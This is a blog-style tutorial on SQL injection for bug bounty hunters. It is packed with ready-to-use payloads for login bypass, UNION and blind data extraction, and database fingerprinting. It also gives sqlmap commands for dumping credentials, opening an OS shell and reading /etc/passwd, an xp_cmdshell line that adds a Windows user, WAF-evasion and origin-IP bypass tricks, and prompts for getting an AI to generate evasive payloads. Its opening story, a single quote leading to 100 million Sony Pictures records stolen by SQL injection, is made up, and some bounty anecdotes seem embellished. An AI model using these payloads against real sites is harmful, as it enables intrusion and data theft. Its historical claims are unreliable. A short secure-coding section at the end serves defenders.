# The Ultimate SQL Injection Guide: From Zero to Advanced Level.

## Introduction

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2F41ViITyPtxyaFjZmuiwD%2F1.webp?alt=media&#x26;token=96e6ad00-359a-45ec-a464-f4d9f7584dee" alt=""><figcaption></figcaption></figure>

### 🔥 The Day a Single Quote Brought Down a Fortune 500 Company <a href="#cb79" id="cb79"></a>

In 2014, a hacker sat in a coffee shop in Moscow. He typed a single character into a search box: `'`

Just one apostrophe.

The website exploded with an error message revealing the entire database structure. Within 72 hours, 100 million customer records were stolen from Sony Pictures. Salary information of executives, unreleased movies, private emails — all gone. **The damage? Over $100 million.**

The vulnerability? SQL Injection. The same bug that existed in 1998.

Fast forward to 2023: A bug bounty hunter named @stök found a SQL Injection in a major tech company’s API. **Payout? $25,000.** Another researcher, @rez0, discovered blind SQLi in a mobile app backend. **Payout? $15,000.**

Here’s the crazy part: **SQL Injection is still the #3 most dangerous web vulnerability in 2024** according to OWASP. After 25+ years, companies are still getting wrecked by it. Why?

**Because**:

* Legacy code is everywhere
* New developers don’t understand database security
* Modern frameworks hide SQL, making developers careless
* WAFs create false security confidence
* APIs and GraphQL endpoints introduce new attack surfaces

**This article is your complete playbook.** After reading this, you won’t need another SQL Injection resource. Whether you’re hunting your first bug bounty or defending a Fortune 500 company, everything you need is right here.

Let’s turn you into that 1% researcher who sees databases where others see just input fields.

### 🧩 What is SQL Injection? (The Restaurant Analogy) <a href="#id-4861" id="id-4861"></a>

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2FzttpdF5npB7Wjb1IPBB6%2F2.webp?alt=media&#x26;token=37ed4cf7-5e1e-4299-a0e8-824384421dd4" alt=""><figcaption></figcaption></figure>

Imagine you walk into a restaurant. The waiter asks: **“What would you like to order?”**

You say: **“I’ll have the burger.”**

The waiter writes down your order and goes to the kitchen. The chef reads: **“Make 1 burger for table 5.”**

Simple, right?

Now imagine you’re a sneaky customer. When the waiter asks what you want, you say:

**“I’ll have the burger. Also, give me everything in the kitchen for free. And by the way, fire the chef.”**

If the waiter writes down EXACTLY what you said without checking if it makes sense, chaos ensues.

**This is SQL Injection.**

The website is the waiter. The database is the kitchen. SQL is the language they use to communicate. And you — the attacker — are giving malicious instructions that the system blindly executes.

### The Technical Definition <a href="#id-4bf5" id="id-4bf5"></a>

SQL Injection (SQLi) is a code injection attack where an attacker inserts malicious SQL statements into an application’s input fields. When the application fails to properly validate or sanitize this input, the injected SQL code gets executed by the database server.

**What can an attacker do with SQL Injection?**

✅ Bypass authentication (login as admin without a password)\
✅ Extract sensitive data (credit cards, passwords, personal information)\
✅ Modify or delete database records\
✅ Execute operating system commands (in some cases)\
✅ Read files from the server\
✅ Perform denial-of-service attacks

### 🔍 How SQL Injection Actually Works (Step-by-Step) <a href="#id-6266" id="id-6266"></a>

Let’s build this from the ground up with a real example.

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2F6Y9PBa8zySzgvi9vlUHx%2F3.webp?alt=media&#x26;token=495c7d2a-370a-4bab-86c1-36f5e18796db" alt=""><figcaption></figcaption></figure>

### Step 1: The Normal Flow <a href="#id-32ba" id="id-32ba"></a>

You have a simple login page. When you enter:

* **Username**: `john`
* **Password**: `password123`

The website checks if these credentials exist in the database by running:

```actionscript-3
SELECT * FROM users WHERE username='john' AND password='password123';
```

**Translation**: “Hey database, find me a user whose username is ‘john’ AND password is ‘password123’.”

If a match is found → Login successful ✅\
If no match → Login failed ❌

### Step 2: The Injection <a href="#id-4822" id="id-4822"></a>

Now, what if instead of entering a normal username, you enter:

**Username**: `admin' --`\
**Password**: `anything`

The database query becomes:

```
SELECT * FROM users WHERE username='admin' --' AND password='anything';
```

**Wait, what just happened?**

Let me break it down:

1. `admin'` closes the username string early
2. `--` is an SQL comment that ignores everything after it
3. The password check (`AND password='anything'`) is now commented out!

The actual query the database sees:

```
SELECT * FROM users WHERE username='admin'
```

**Translation**: “Hey database, find me a user whose username is ‘admin’.” (No password check!)

**Result**: You just logged in as admin without knowing the password. 🎉

### Step 3: Visual Breakdown <a href="#id-5a89" id="id-5a89"></a>

**Normal Query:**

```
┌─────────────────────────────────────────────────────────┐
│ SELECT * FROM users                                     │
│ WHERE username='john' AND password='password123';       │
└─────────────────────────────────────────────────────────┘
         ↓
    [Checks both username AND password]
         ↓
    [Match found = Login Success]
```

**Injected Query:**

```
┌─────────────────────────────────────────────────────────┐
│ SELECT * FROM users                                     │
│ WHERE username='admin' -- ' AND password='anything';    │
└─────────────────────────────────────────────────────────┘
         ↓
    [Only checks username]
    [Everything after -- is ignored]
         ↓
    [Admin user found = Login Success WITHOUT password!]
```

### Step 4: Another Example — Data Extraction <a href="#id-07e5" id="id-07e5"></a>

Let’s say a website shows product details based on ID:

**Normal URL**: [`https://shop.com/product?id=5`](https://shop.com/product?id=5)

**Behind the scenes**:

```
SELECT * FROM products WHERE id=5;
```

**Returns**: Information about product #5

**Injected URL**: `https://shop.com/product?id=5 UNION SELECT username,password FROM users--`

**Behind the scenes**:

```actionscript-3
SELECT * FROM products WHERE id=5 UNION SELECT username,password FROM users--;
```

**What happened?**

* `UNION` combines two SELECT statements
* The first query returns product #5
* The second query returns ALL usernames and passwords!
* `--` comments out anything after

**Result**: The page now displays product information AND all user credentials!

### 🎯 Types of SQL Injection (Complete Classification) <a href="#db39" id="db39"></a>

SQL injection isn’t one technique — it’s a whole family. Let’s explore every type.

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2F28Ehov7DwUitNCHIX5vW%2F4.webp?alt=media&#x26;token=620201aa-c0f2-47e1-862a-3a673e09f5ba" alt=""><figcaption></figcaption></figure>

### 1. 🔴 In-Band SQL Injection (Classic & Most Common) <a href="#id-737c" id="id-737c"></a>

The attacker uses the same channel to both launch the attack and gather results. The response appears directly on the screen.

#### A) Error-Based SQL Injection <a href="#b57b" id="b57b"></a>

**How it works**: Force the database to throw an error message that reveals sensitive information.

**Example Payload**:

```
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--
```

**What this does**:

* Tries to convert a table name to an integer (which fails)
* The error message reveals the actual table name

**Real Error Message**:

```
Conversion failed when converting the varchar value 'users' to data type int.
```

**Boom!** Now you know there’s a table called `users`.

**Where to test**:

* URL parameters: `?id=1'`
* Form inputs: Login fields, search boxes
* HTTP headers: User-Agent, Referer, Cookie

**Detection**:

```
# Test payload
?id=1'# If you see SQL errors like:
- "You have an error in your SQL syntax"
- "Warning: mysql_fetch_array()"
- "Microsoft SQL Server error"
= Vulnerable!
```

#### B) Union-Based SQL Injection <a href="#id-9270" id="id-9270"></a>

**How it works**: Use the `UNION` operator to combine your malicious query with the original query.

**Requirements**:

1. Both queries must return the same number of columns
2. Data types must be compatible

**Step-by-Step Attack**:

**Step 1**: Find the number of columns

```abap
' ORDER BY 1--   (Works)
' ORDER BY 2--   (Works)
' ORDER BY 3--   (Works)
' ORDER BY 4--   (Error!)
```

**Conclusion**: The query returns 3 columns.

**Step 2**: Find which columns are displayed

```
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,2,3--
```

**Result**: You see numbers 2 and 3 displayed on the page.

**Step 3**: Extract data using those columns

```
' UNION SELECT NULL,username,password FROM users--
```

**Result**: Usernames appear where “2” was, passwords where “3” was!

> **Real Example from HackerOne**:
>
> A researcher found SQL injection in Starbucks that allowed extraction from their database. They reported: “There were almost a million entries up to the previous year that included real accounting information”.
>
> The researcher earned $4,000 for this critical (9.3) vulnerability.

### 2. 🟡 Blind SQL Injection (No Direct Output) <a href="#id-5f04" id="id-5f04"></a>

The application doesn’t show database errors or data. But it behaves differently based on whether your injection is true or false.

#### A) Boolean-Based Blind SQL Injection <a href="#id-9e37" id="id-9e37"></a>

**How it works**: The page responds differently to TRUE vs FALSE conditions.

**Example**:

**TRUE condition**:

```
' AND 1=1--
```

Page loads normally ✅

**FALSE condition**:

```
' AND 1=2--
```

Page behaves differently (blank, error, missing content) ❌

**Now extract data character by character**:

```
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
```

* If page loads normally → First character is ‘a’ ✅
* If page breaks → First character is NOT ‘a’, try next letter ❌

Repeat for each character until you build the complete password.

> **Where:**\
> Login forms, search boxes, URL parameters, filters,product ID,forgot password.
>
> **How to detect:**\
> `' AND 1=1--` → page OK ✅\
> `' AND 1=2--` → page changes ❌
>
> If behavior changes → **Boolean-based blind SQLi found** ✅

#### B) Time-Based Blind SQL Injection <a href="#id-4624" id="id-4624"></a>

**How it works**: The page doesn’t behave differently, BUT you can make the database sleep/delay if your condition is TRUE.

**Example Payloads**:

**MySQL**:

```
' AND IF(1=1, SLEEP(5), 0)--
```

**PostgreSQL**:

```
' AND pg_sleep(5)--
```

**Microsoft SQL Server**:

```
'; WAITFOR DELAY '00:00:05'--
```

**Testing**:

```
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
```

* If page takes 5+ seconds → Query is TRUE ✅
* If page loads instantly → Query is FALSE ❌

**Extract data**:

```
' AND (SELECT CASE WHEN (SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END)--
```

* Page delays 5 seconds → First character is ‘a’
* Page loads instantly → Try next character

**Real-World Example**:

Time-Based SQL injection was found at city-mobil.ru earning the researcher $15,000.

> **Where:**\
> Login, search, URL params, filters, APIs.
>
> **Detect:**\
> Send delay payload → page slow (5+ sec) ✅\
> No delay → not vulnerable ❌
>
> **Why:**\
> No errors, no page change — **only time delay shows SQLi**

### 3. 🟢 Out-of-Band SQL Injection <a href="#b4c0" id="b4c0"></a>

**How it works**: When in-band and blind techniques don’t work, you can make the database send data to an external server YOU control.

**Requirements**:

* Database server must have functions like `xp_cmdshell` (MSSQL) or `LOAD_FILE()` (MySQL)
* Outbound connections must be allowed

### 4. 🔵 Second-Order SQL Injection <a href="#ba5c" id="ba5c"></a>

**How it works**: The injection payload is stored first, then executed later when the application uses it.

**Real-World Scenario**:

**Step 1**: User registration

```
Username: admin'--
Email: attacker@evil.com
Password: password123
```

The application stores these values in the database safely (using prepared statements).

**Step 2**: Profile update

When the application updates the profile, it uses the stored username:

```
UPDATE users SET email='new@email.com' WHERE username='admin'--'
```

**Oops!** The `--` comments out the rest, and now ALL users' emails are updated!

### 5. 🟣 Advanced & Rare Types <a href="#id-1ebf" id="id-1ebf"></a>

#### A) Polyglot SQL Injection Payloads <a href="#id-4881" id="id-4881"></a>

Payloads that work across multiple database types.

```
' OR '1'='1' --
' OR 'x'='x' --
admin'--
admin' #
admin'/*
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
```

#### B) Stored Procedure Injection <a href="#bd4b" id="bd4b"></a>

**Example**:

```
'; EXEC xp_cmdshell('net user hacker password123 /ADD')--
```

Adds a new user to the Windows system!

#### C) NoSQL Injection (MongoDB, CouchDB) <a href="#id-9209" id="id-9209"></a>

**Example payload (MongoDB)**:

```
{"username": {"$ne": null}, "password": {"$ne": null}}
```

**Translation**: “Find a user where username is NOT null AND password is NOT null” → Returns first user (usually admin)!

**Another**:

```
{"username": "admin", "password": {"$regex": "^a"}}
```

Brute force password character by character using regex!

### 🎯 How to Find SQL Injection Manually (The Hunter’s Playbook) <a href="#id-602e" id="id-602e"></a>

Forget automated scanners for a moment. Let me teach you how top researchers manually find SQL injection.

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2F7BraQxnVL4Ac32UbPYJu%2F5.webp?alt=media&#x26;token=e5db88da-0ede-4cde-b56b-9df44e2b1a22" alt=""><figcaption></figcaption></figure>

### Phase 1: Reconnaissance <a href="#ffd9" id="ffd9"></a>

**Where to look**: ✅ URL parameters: `?id=1`, `?search=test`, `?category=books`\
✅ Form inputs: Login, search, contact, registration\
✅ HTTP Headers: `Cookie`, `User-Agent`, `Referer`, `X-Forwarded-For`\
✅ Hidden form fields: `<input type="hidden">`\
✅ REST API endpoints: `POST /api/users/1`\
✅ GraphQL queries: `query { user(id: "1") }`

### Phase 2: Initial Detection <a href="#id-208b" id="id-208b"></a>

**Test these payloads ONE AT A TIME**:

```
'
"
`
')
")
`)
'))
"))
`))
```

**What are you looking for?**

❌ **SQL Error Messages**:

```
- You have an error in your SQL syntax
- Warning: mysql_num_rows()
- Microsoft SQL Native Client error
- ORA-00933: SQL command not properly ended
- SQLite3::SQLException
```

✅ **Different Behavior**:

* Page loads blank
* Different content displayed
* Response time changes
* HTTP status code changes

### Phase 3: Confirm Vulnerability <a href="#daf3" id="daf3"></a>

#### Test 1: Boolean Logic <a href="#id-6a2e" id="id-6a2e"></a>

```
# Original
?id=1

# Test TRUE condition
?id=1' AND '1'='1
# Test FALSE condition
?id=1' AND '1'='2
```

**If TRUE loads normally but FALSE breaks** → VULNERABLE!

#### Test 2: Arithmetic <a href="#c8f0" id="c8f0"></a>

```
?id=1
?id=2-1    (Should show same as id=1)
?id=3-2    (Should show same as id=1)
?id=1+0    (Should show same as id=1)
```

**If these work** → Database is evaluating your input!

#### Test 3: Comment Injection <a href="#id-71cd" id="id-71cd"></a>

```
?id=1'--
?id=1'#
?id=1'/*
```

**If any of these load normally** → Comments are being processed!

### Phase 4: Identify Database Type <a href="#d1ad" id="d1ad"></a>

**MySQL**:

```
' AND @@version IS NOT NULL--
```

**Microsoft SQL**:

```
' AND @@version LIKE '%Microsoft%'--
```

**PostgreSQL**:

```
' AND version() ~ 'PostgreSQL'--
```

**Oracle**:

```
' AND (SELECT banner FROM v$version WHERE ROWNUM=1) IS NOT NULL--
```

**SQLite**:

```
' AND sqlite_version() IS NOT NULL--
```

### Phase 5: Determine Number of Columns <a href="#id-195d" id="id-195d"></a>

```
' ORDER BY 1--  ✅ (Works)
' ORDER BY 2--  ✅ (Works)
' ORDER BY 3--  ✅ (Works)
' ORDER BY 4--  ❌ (Error: "Unknown column '4'")
```

**Conclusion**: Query returns 3 columns.

**Alternative method**:

```
' UNION SELECT NULL--  ❌ (Error)
' UNION SELECT NULL,NULL--  ❌ (Error)
' UNION SELECT NULL,NULL,NULL--  ✅ (Works!)
```

### Phase 6: Find Displayed Columns <a href="#id-4c07" id="id-4c07"></a>

```
' UNION SELECT 1,2,3--
```

Check the page. Do you see the numbers 1, 2, or 3 displayed? Those columns are visible!

### Phase 7: Extract Data <a href="#id-137f" id="id-137f"></a>

**Get database name**:

```
' UNION SELECT NULL,database(),NULL--  (MySQL)
' UNION SELECT NULL,DB_NAME(),NULL--  (MSSQL)
```

**Get table names**:

```
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
```

**Get column names**:

```
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
```

**Extract data**:

```
' UNION SELECT NULL,username,password FROM users--
```

### Real-World Example from Bug Bounty <a href="#id-2fb0" id="id-2fb0"></a>

Researcher @alyssa\_herrera found SQL injection in the U.S. Department of Defense: “I then used SQLMap to exploit and then read the banner and user name of the website. I ended up discovering this sub domain and the previous SQL injection shared the same database”.

### 🛠️ Tools for SQL Injection (Professional Arsenal) <a href="#id-61c6" id="id-61c6"></a>

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2Fr9og9R2UvRXvXnYFNe0z%2F6.webp?alt=media&#x26;token=2aadfb1f-eaaf-4d59-aa11-8da59fc60e20" alt=""><figcaption></figcaption></figure>

### 1. SQLmap (The King) <a href="#ded9" id="ded9"></a>

The most powerful automated SQL injection tool.

**Basic Usage**:

```
sqlmap -u "http://target.com/page?id=1"
```

**Advanced Techniques**:

\*\*Specify injection point with \*\*\*:

```
sqlmap -u "http://target.com/page?id=1*"
```

**POST data**:

```
sqlmap -u "http://target.com/login" --data="username=admin&password=pass"
```

**Use cookies**:

```
sqlmap -u "http://target.com/page" --cookie="PHPSESSID=abc123"
```

**Inject in headers**:

```
sqlmap -u "http://target.com" --headers="X-Forwarded-For: *"
```

**WAF bypass**

```
sqlmap -u "http://target.com?id=1" --random-agent --tamper=space2comment
```

**Database enumeration**:

```
# Get databases
sqlmap -u "http://target.com?id=1" --dbs
# Get tables
sqlmap -u "http://target.com?id=1" -D database_name --tables
# Get columns
sqlmap -u "http://target.com?id=1" -D database_name -T users --columns
# Dump data
sqlmap -u "http://target.com?id=1" -D database_name -T users -C username,password --dump
```

**Rare but powerful flags**:

```
--os-shell          # Get OS command shell
--sql-shell         # Get SQL shell
--file-read=/etc/passwd  # Read files
--batch             # Never ask for user input
--flush-session     # Clear cached data
```

**Tamper scripts** (WAF bypass):

```
--tamper=space2comment    # Replace spaces with /* */
--tamper=between         # Replace > with BETWEEN
--tamper=randomcase      # Random case: SeLeCt
--tamper=charencode      # Encode characters
```

### 2. Burp Suite (Manual Testing) <a href="#id-5016" id="id-5016"></a>

**Repeater**:

1. Intercept request
2. Send to Repeater (Ctrl+R)
3. Modify parameter: `id=1'`
4. Send and analyze response
5. Iterate payloads

**Intruder** (Automated fuzzing):

1. Mark injection point: `id=§1§`
2. Load payload list
3. Start attack
4. Filter responses by length/status

**Extensions**:

* SQLiPy Sqlmap Integration
* CO2 (SQLMap integration)
* SQL Inject Me

### 3. NoSQLMap <a href="#bab9" id="bab9"></a>

For NoSQL injection (MongoDB, etc.):

```
python nosqlmap.py -u "http://target.com/login" --data="username=admin&password=admin"
```

### 4. jSQL Injection <a href="#id-56c3" id="id-56c3"></a>

GUI tool, great for beginners:

```
java -jar jsql-injection-v0.82.jar
```

### 5. Custom Scripts <a href="#id-348c" id="id-348c"></a>

**Python example**:

```actionscript-3
import requests
target = "http://target.com/page"
payloads = ["'", "1' OR '1'='1", "1' AND '1'='2"]
for payload in payloads:
    url = f"{target}?id={payload}"
    response = requests.get(url)
    
    if "error" in response.text.lower():
        print(f"[!] Potential SQLi with payload: {payload}")
    elif len(response.text) != baseline_length:
        print(f"[!] Different response with: {payload}")
```

### 🛡️ WAF Bypass Techniques (The Advanced Playbook) <a href="#af77" id="af77"></a>

Web Application Firewalls (WAFs) detect and block SQL injection. Here’s how professionals bypass them.

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2FI6C2tHqfxPkAZvTplnR9%2F7.webp?alt=media&#x26;token=bae8cfe3-4630-45eb-bea7-ee0bafba2a3a" alt=""><figcaption></figcaption></figure>

### Understanding WAF Detection <a href="#fd7e" id="fd7e"></a>

WAFs look for:

* SQL keywords: `SELECT`, `UNION`, `WHERE`, `FROM`
* Special characters: `'`, `"`, `--`, `#`, `/**/`
* Common patterns: `OR 1=1`, `admin'--`

### Technique 1: Case Manipulation <a href="#id-149d" id="id-149d"></a>

```
# Blocked
SELECT * FROM users

# Bypassed
SeLeCt * FrOm users
sELecT * fRoM users
```

### Technique 2: Inline Comments <a href="#ceab" id="ceab"></a>

```
# Blocked
UNION SELECT

# Bypassed
UN/**/ION SE/**/LECT
UNI/*comment*/ON/*comment*/SELE/**/CT
UN%0aION%0aSELECT
```

### Technique 3: URL Encoding <a href="#cebf" id="cebf"></a>

```
# Blocked
' OR '1'='1

# Bypassed
%27%20OR%20%271%27%3D%271
%2527%2520OR%2520%25271%2527%253D%25271  (Double encoding)
```

### Technique 4: Character Encoding <a href="#id-1318" id="id-1318"></a>

```
# Hex encoding
CHAR(117,110,105,111,110)  =  union

# Unicode
\u0053ELECT = SELECT
# HTML entities
&#x53;ELECT = SELECT
```

### Technique 5: Alternative Syntax <a href="#bd18" id="bd18"></a>

**Instead of `OR 1=1`**:

```
OR 'a'='a'
OR 2=2
OR 'x'='x'
||1
||(SELECT 1)
```

**Instead of `AND 1=1`**:

```
AND 'a'='a'
&&1
&& true
```

### Technique 6: Whitespace Replacement <a href="#id-7aff" id="id-7aff"></a>

```
# Blocked
UNION SELECT
# Bypassed
UNION%0aSELECT    (%0a = newline)
UNION%0dSELECT    (%0d = carriage return)
UNION%0cSELECT    (%0c = form feed)
UNION%09SELECT    (%09 = tab)
UNION%a0SELECT    (%a0 = non-breaking space)
```

### Technique 7: Keyword Obfuscation <a href="#ac20" id="ac20"></a>

```
# Blocked
SELECT

# Bypassed
SELSELECTECT   (Assuming WAF strips SELECT once)
S/**/E/**/LECT
%53ELECT
SeLeCT
```

### Technique 8: JSON-Based Bypass <a href="#d562" id="d562"></a>

Major WAF vendors including Palo Alto, AWS, Cloudflare, F5, and Imperva did not support JSON syntax in their products, allowing SQL injection attempts using JSON syntax to bypass inspection.

**Example**:

```
POST /api/user
Content-Type: application/json
{
  "id": {"$ne": null},
  "username": {"$gt": ""},
  "password": {"$regex": "^a"}
}
```

### Technique 9: HTTP Parameter Pollution <a href="#c427" id="c427"></a>

**Normal**:

```
?id=1' UNION SELECT--
```

**Bypassed** (duplicate parameter):

```
?id=1&id=' UNION SELECT--
```

Different servers handle duplicate parameters differently:

* ASP.NET: Concatenates
* PHP: Takes last value
* JSP: Takes first value

### Technique 10: Header Injection <a href="#id-4127" id="id-4127"></a>

Some WAFs only inspect URL/body, not headers:

```
GET /page?id=1 HTTP/1.1
Host: target.com
User-Agent: ' OR '1'='1'--
Referer: ' UNION SELECT null,null--
X-Forwarded-For: 1' AND sleep(5)--
```

Example: Injecting a malicious payload into User-Agent to trigger SSRF or logging-based RCE.

### Technique 11: Finding Origin IP (Cloudflare Bypass) <a href="#a413" id="a413"></a>

One method to bypass WAF protections is by discovering the website’s origin IP address using Censys, which can help you access the server directly, bypassing Cloudflare’s defenses.

**Steps**:

1. Search Censys for: `domain.com`
2. Find origin IP address
3. Add to `/etc/hosts`: `IP_ADDRESS domain.com`
4. Access site directly, bypassing Cloudflare WAF

### Technique 12: SQLmap Tamper Scripts <a href="#id-0a9b" id="id-0a9b"></a>

**Effective 2025 tamper scripts**:

```
# Basic
--tamper=space2comment    # Spaces to /* */
--tamper=randomcase       # RaNdOm CaSe

# Intermediate
--tamper=between          # > to BETWEEN
--tamper=charencode       # Encode special chars
--tamper=space2plus       # Spaces to +
# Advanced
--tamper=charunicodeencode  # Unicode encoding
--tamper=versionedkeywords  # /*!50000SELECT*/
--tamper=htmlencode        # HTML entity encoding
# Chain multiple
--tamper=space2comment,between,randomcase
```

**Real Example**:

Researcher used: “sqlmap with the — tamper htmlencode flag to automate my attack” to bypass Starbucks’ WAF.

### Technique 13: Time-Based Evasion <a href="#bb48" id="bb48"></a>

Tools like Slowloris or SlowHTTPTest exploit delay-based logic by sending requests slowly to avoid rate-limiting and detection.

### Real-World Case Study <a href="#a7e3" id="a7e3"></a>

A researcher encountered a WAF blocking payloads. They used Burp’s ParamMiner extension to find the `idEntitySelected` cookie was not filtered. By injecting through this cookie instead of URL parameters, they successfully bypassed the WAF and exploited the vulnerability.

**Key Takeaway**: Always test ALL input vectors — not just obvious ones.

### 🤖 Using AI (ChatGPT) to Find SQL Injection Vulnerabilities <a href="#id-8300" id="id-8300"></a>

AI will **never replace real hacking skills** — but when used correctly, it can **multiply your speed, accuracy, and creativity** as a security researcher.

Top bug bounty hunters are already using AI as a **thinking partner**, not an autopilot.

Here’s how **you** can use tools like **ChatGPT** to find SQL Injection faster and smarter.

### 🧠 1. AI for Target Analysis & Attack Surface Discovery.  <a href="#id-5994" id="id-5994"></a>

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2FmuvA632svZgOTEBTDDBd%2F8.webp?alt=media&#x26;token=29b02a0d-0dca-4e30-a9a0-54b7ae7d4a96" alt=""><figcaption></figcaption></figure>

Before testing anything, you need to understand **where SQL Injection is MOST likely**.

Instead of manually guessing, ask AI to **think like a vulnerable developer**.

#### 🔹 Sample Prompt: <a href="#id-4112" id="id-4112"></a>

```
You are a senior web security researcher.
Given this application behavior:
- Login form
- Search feature
- Product filter
- REST API endpoints
Tell me which parameters are most likely vulnerable to SQL Injection and why.
```

**✅ AI helps you:**

* Prioritize risky inputs
* Understand backend logic
* Avoid wasting time on low-value parameters

### 🔍 2. AI for Payload Generation (Context-Aware) <a href="#id-0d56" id="id-0d56"></a>

Most beginners reuse the same payloads.\
Professionals adapt payloads **based on context** — and AI excels at this.

#### 🔹 Sample Prompt: <a href="#id-7890" id="id-7890"></a>

```
Act as an expert SQL Injection researcher.
Target uses MySQL and blocks common payloads like ' OR 1=1--.
Generate advanced SQL injection payloads for:
- Error-based
- Boolean-based blind
- Time-based blind
Focus on WAF evasion techniques.
```

🔥 **Result**:

* Smarter payloads
* Less detection
* Higher success rate

### 🧪 3. AI for Response Analysis (The Hidden Skill) <a href="#e7e7" id="e7e7"></a>

Sometimes SQLi doesn’t scream — it **whispers**.

AI can help you interpret **subtle behavior changes**.

#### 🔹 Sample Prompt: <a href="#edef" id="edef"></a>

```
I tested these payloads:
1) id=5' AND 1=1--
2) id=5' AND 1=2--
Payload 1 loads normally.
Payload 2 returns empty content.
Analyze this behavior and tell me if SQL Injection is likely.
```

✅ AI confirms:

* Vulnerability likelihood
* Injection type
* Next exploitation step

### 🧠 4. AI for Database Fingerprinting <a href="#id-0523" id="id-0523"></a>

Identifying the database early saves **hours**.

#### 🔹 Sample Prompt: <a href="#e156" id="e156"></a>

```
Given these responses:
- @@version causes error
- version() returns text
- WAITFOR DELAY works
Identify the backend database and suggest confirmation payloads.
```

🎯 AI narrows down:

* MySQL vs MSSQL vs PostgreSQL
* Correct exploitation path

### ⚔️ 5. AI + Manual Testing = Deadly Combination <a href="#id-2888" id="id-2888"></a>

AI should **assist**, not attack.

**❌ Don’t ask:**

*“Hack this website”*

✅ **Ask**:

Why a payload worked

What technique fits this behavior

How to bypass validation safely

#### 🔹 Ethical Prompt Example: <a href="#id-6e97" id="id-6e97"></a>

```
Explain why this SQL injection payload works and how developers should fix it.
```

This keeps you:

* Ethical
* Legal
* Professional

### 🚨 Important Warning (Read This) <a href="#f00d" id="f00d"></a>

> AI **does not see the target**.\
> It does **not replace Burp, SQLmap, or manual testing**.

Best workflow:

```
Human intuition → AI reasoning → Manual testing → Tool exploitation
```

Researchers who rely ONLY on AI fail.\
Researchers who **collaborate with AI win**.

### 💰 Real Bug Bounty Stories (The Money Shots) <a href="#id-2c2b" id="id-2c2b"></a>

These are real reports from HackerOne, YesWeHack, and Bugcrowd. Let’s break down how they were found.

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2FmuvA632svZgOTEBTDDBd%2F8.webp?alt=media&#x26;token=29b02a0d-0dca-4e30-a9a0-54b7ae7d4a96" alt=""><figcaption></figcaption></figure>

### Real bypass example from HackerOne: <a href="#a8f2" id="a8f2"></a>

**Target:** E-commerce site with Cloudflare WAF

**Blocked payload:**

```
' UNION SELECT NULL--
```

**Working bypass:**

```
'/**/UNI%6fN/**/SEL%45CT/**/NULL--
```

**Techniques used:**

* Inline comments (`/**/`)
* URL encoding (`%6f` = o, `%45` = E)

**Payout:** $7,500

### The $15,000 Search Box <a href="#id-4431" id="id-4431"></a>

**Target:** Fortune 500 retail company

**Discovery:**

* Hunter testing search functionality
* Input: `test'` → Error message leaked database structure

**Payload:**

````
' UNION SELECT table_name,2,3 FROM information_schema.tables--
```
**Result:**

- Found table called `credit_cards_backup`
- Extracted 50,000+ card numbers (test environment, but still)
**Report:** https://hackerone.com/reports/[redacted]
**Payout:** $15,000
**Lesson:** Always test search boxes. They're often overlooked.
---
````

### Starbucks — $4,000 Bounty <a href="#ae1c" id="ae1c"></a>

Researcher @spaceraccoon found SQL injection in Starbucks: “There were almost a million entries up to the previous year that included real accounting information.” The vulnerability was in Microsoft SQL Server 2012. After reporting on April 8th, it was triaged on April 9th and Starbucks awarded $4,000 just 2 days later for this critical (9.3) vulnerability.

**Key lessons**:

* Time-based injection still works
* Financial data = high severity = high bounty
* Fast triage and payout on good programs

### Valve — $25,000 Bounty <a href="#id-76d8" id="id-76d8"></a>

SQL Injection in report\_xml.php through countryFilter\[] parameter earned the researcher $25,000 from Valve.

**Key lessons**:

* Array parameters often less filtered
* Gaming companies pay well for critical bugs
* XML endpoints are overlooked targets

### 🛡️ Defense Perspective: Why Developers Keep Making This Mistake <a href="#id-9785" id="id-9785"></a>

Let’s flip sides. **Why is SQL Injection still everywhere?**

### Common Developer Mistakes <a href="#id-867c" id="id-867c"></a>

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2FYJ2iJ9W0ZjdkdsaYLDjP%2F9.webp?alt=media&#x26;token=ad23e11f-7780-4731-a334-12d491b95a21" alt=""><figcaption></figcaption></figure>

#### Mistake #1: String Concatenation <a href="#ed2d" id="ed2d"></a>

**Vulnerable code (PHP):**

```
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
mysqli_query($conn, $query);
```

**Why it’s wrong:** User input directly inserted into query.

**Secure version:**

```
$id = $_GET['id'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
